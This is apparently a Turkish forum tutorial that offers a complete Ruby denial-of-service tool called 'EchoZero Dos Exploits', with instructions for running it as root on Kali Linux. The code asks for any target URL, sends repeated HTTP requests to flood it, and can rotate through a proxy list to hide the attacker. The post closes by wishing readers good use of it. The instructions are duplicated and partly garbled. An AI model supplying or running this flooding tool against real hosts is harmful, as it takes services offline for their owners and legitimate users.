DoS (Denial of Service - Hizmet Engelleme), bir hedef sisteme, sunucuya veya ağa aşırı yüklenerek onu kullanılamaz hale getirme saldırısıdır.
öncelikle bu exploit KALİ LİNUXDA verimli çalışmaktadır.
masaüstüne gelin ve bir klasör oluşturun bu klasörü visual studio kodda açın veya bir metin belgesini "projeminadı.ruby" olarakda kaydedebilirsiniz ruby dosyası oluştuktan sonra bu kodu içine yapıştırın ve
yaparak kaydedin. sonra proxylist.txt oluşturun ve verdiğim proxyleri oraya girin
yapıp çıkın
şimdi terminalde çalıştırmaya geçelim:
terminali açın ve
yazarak root seviyesine alın
termianl bu görünümü almalı ondan sonra terminale bu kodu giriyoruz
kodunu girdikten sonra exploit çalışıcaktır.
Şimdi exploitimizi çalıştıralım:
Evet gördüğünüz gibi exploitimiz çalıştı ancak proxy listemiz eski olduğu için proxylerin bir çoğu çalışmadı. neyse diyiceklerim bu kadardı beni dinlediğiniz için teşekkür ederim işte exploit kodu
İyi kullanımlar dilerim
Nasıl Çalışır?
Bir DoS saldırısında:- Hedef sisteme normalden çok daha fazla istek gönderilir
- Sistem kaynakları (CPU, RAM, ağ bant genişliği) tükenir
- Meşru kullanıcılar hizmet alamaz hale gelir
öncelikle bu exploit KALİ LİNUXDA verimli çalışmaktadır.
masaüstüne gelin ve bir klasör oluşturun bu klasörü visual studio kodda açın veya bir metin belgesini "projeminadı.ruby" olarakda kaydedebilirsiniz ruby dosyası oluştuktan sonra bu kodu içine yapıştırın ve
Kod:
ctrl + S
Kod:
ctrl + s
şimdi terminalde çalıştırmaya geçelim:
terminali açın ve
Kod:
sudo su
termianl bu görünümü almalı ondan sonra terminale bu kodu giriyoruz
Kod:
ruby dosyaınızın.ruby
Şimdi exploitimizi çalıştıralım:
Evet gördüğünüz gibi exploitimiz çalıştı ancak proxy listemiz eski olduğu için proxylerin bir çoğu çalışmadı. neyse diyiceklerim bu kadardı beni dinlediğiniz için teşekkür ederim işte exploit kodu
Ruby:
require 'socket'
require 'net/http'
require 'openssl'
def print_banner
banner_text = "
___________ .__ ________ ________ _________
\\_ _____/ ____ | |__ ____________ ___________ ____\\______ \\ \\_____ \\ / _____/
| __)__/ __\\| | \\ / _ \\___ // __ \\_ __ \\/ _ \\| | \\ / | \\ \\_____ \\
| \\ \\___| Y ( <_> ) /\\ ___/| | \\( <_> ) ` \\/ | \\/ \\
/_______ /\\___ >___| /\\____/_____ \\\\___ >__| \\____/_______ /\\_______ /_______ /
\\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/
EchoZero Dos Exploits
"
puts banner_text
end
print_banner
def load_proxies(proxy_file)
return [] if proxy_file.empty?
begin
proxies = File.readlines(proxy_file).map(&:chomp).reject(&:empty?)
puts "Loaded #{proxies.length} proxies from #{proxy_file}"
proxies
rescue Errno::ENOENT
puts "Warning: Proxy file #{proxy_file} not found, continuing without proxies"
[]
rescue => e
puts "Warning: Error loading proxy file: #{e.message}, continuing without proxies"
[]
end
end
def get_user_input
puts "\n" + "="*50
puts "DOS ATTACK CONFIGURATION"
puts "="*50
print "Target URL (example: example.com): "
target_url = gets.chomp
while target_url.empty?
print "Target URL cannot be empty! Please enter target URL: "
target_url = gets.chomp
end
print "Open DOS Port (default: 80): "
port_input = gets.chomp
port = port_input.empty? ? 80 : port_input.to_i
print "Requests Number (default: 1881): "
request_input = gets.chomp
request_number = request_input.empty? ? 1881 : request_input.to_i
print "Timeout seconds (default: 3): "
timeout_input = gets.chomp
timeout = timeout_input.empty? ? 3 : timeout_input.to_i
print "Proxy list file (optional, press Enter to skip): "
proxy_file = gets.chomp
print "Use SSL? (y/N): "
ssl_input = gets.chomp.downcase
use_ssl = ssl_input == 'y' || ssl_input == 'yes'
{
target_url: target_url,
port: port,
request_number: request_number,
timeout: timeout,
proxy_file: proxy_file,
use_ssl: use_ssl
}
end
$options = get_user_input
$proxies = load_proxies($options[:proxy_file])
def connect_with_proxy(proxy_addr, proxy_port, target, port, use_ssl)
begin
proxy_socket = TCPSocket.new(proxy_addr, proxy_port, connect_timeout: $options[:timeout])
connect_request = "CONNECT #{target}:#{port} HTTP/1.1\r\nHost: #{target}:#{port}\r\n\r\n"
proxy_socket.print(connect_request)
response = proxy_socket.gets
if response && response.include?("200")
if use_ssl
ssl_context = OpenSSL::SSL::SSLContext.new
ssl_socket = OpenSSL::SSL::SSLSocket.new(proxy_socket, ssl_context)
ssl_socket.sync_close = true
ssl_socket.connect
ssl_socket.puts("GET / HTTP/1.1\r\nHost: #{target}\r\nConnection: close\r\n\r\n")
ssl_socket.close
else
proxy_socket.puts("GET / HTTP/1.1\r\nHost: #{target}\r\nConnection: close\r\n\r\n")
proxy_socket.close
end
return true
else
proxy_socket.close
return false
end
rescue => e
return false
end
end
def connect_to_target(target, port, request_number, timeout, use_ssl)
puts "\n" + "="*60
puts "DoS Attack started!"
puts "="*60
puts "Port: #{port}"
puts "Target: #{target}"
puts "Requests: #{request_number}"
puts "Timeout: #{timeout} seconds"
puts "SSL: #{use_ssl ? 'Yes' : 'No'}"
if $proxies.any?
puts "Proxies: #{$proxies.length} proxies loaded (Rotating)"
else
puts "Proxies: None (Direct connection)"
end
puts "="*60
puts "\n"
begin
successful_requests = 0
proxy_index = 0
request_number.times do |i|
begin
if $proxies.any?
proxy = $proxies[proxy_index % $proxies.length]
proxy_addr, proxy_port = proxy.split(':')
proxy_port = (proxy_port || '8080').to_i
if connect_with_proxy(proxy_addr, proxy_port, target, port, use_ssl)
successful_requests += 1
end
proxy_index += 1
else
if use_ssl
socket = TCPSocket.new(target, port, connect_timeout: timeout)
ssl_context = OpenSSL::SSL::SSLContext.new
ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)
ssl_socket.sync_close = true
ssl_socket.connect
ssl_socket.puts("GET / HTTP/1.1\r\nHost: #{target}\r\nConnection: close\r\n\r\n")
ssl_socket.close
else
socket = TCPSocket.new(target, port, connect_timeout: timeout)
socket.puts("GET / HTTP/1.1\r\nHost: #{target}\r\nConnection: close\r\n\r\n")
socket.close
end
successful_requests += 1
end
if (i + 1) % 100 == 0
proxy_status = $proxies.any? ? " (Using proxy: #{$proxies[proxy_index % $proxies.length]})" : ""
puts "Progress: #{i + 1}/#{request_number} requests sent#{proxy_status}"
end
rescue => e
if (i + 1) % 50 == 0
puts "Request #{i + 1} failed: #{e.message[0..50]}..."
end
end
end
puts "\n" + "="*50
puts "DoS Attack Package: gönderildi: #{successful_requests}/#{request_number}"
if successful_requests > 0
puts "Status: Attack başarıyla targeta iletildi!"
if $proxies.any?
puts "Proxy kullanıldı: #{$proxies.length} farklı proxy ile rotasyon yapıldı"
end
else
puts "Status: Attack başarısız oldu!"
if $proxies.any?
puts "Öneri: Proxy listesini kontrol edin veya proxy'siz deneyin"
else
puts "Öneri: Proxy kullanmayı deneyin veya target adresini kontrol edin"
end
end
puts "="*50
rescue SocketError, Errno::ETIMEDOUT, Errno::ECONNREFUSED => e
puts "#{e.class} Error: #{e.message}"
puts "Attack failed - Target might be down or unreachable"
exit(1)
rescue StandardError => e
puts "Error: #{e.message}"
exit(1)
end
end
if $options[:target_url]
connect_to_target(
$options[:target_url],
$options[:port],
$options[:request_number],
$options[:timeout],
$options[:use_ssl]
)
else
puts "Error: Target URL is required!"
exit(1)
end
İyi kullanımlar dilerim


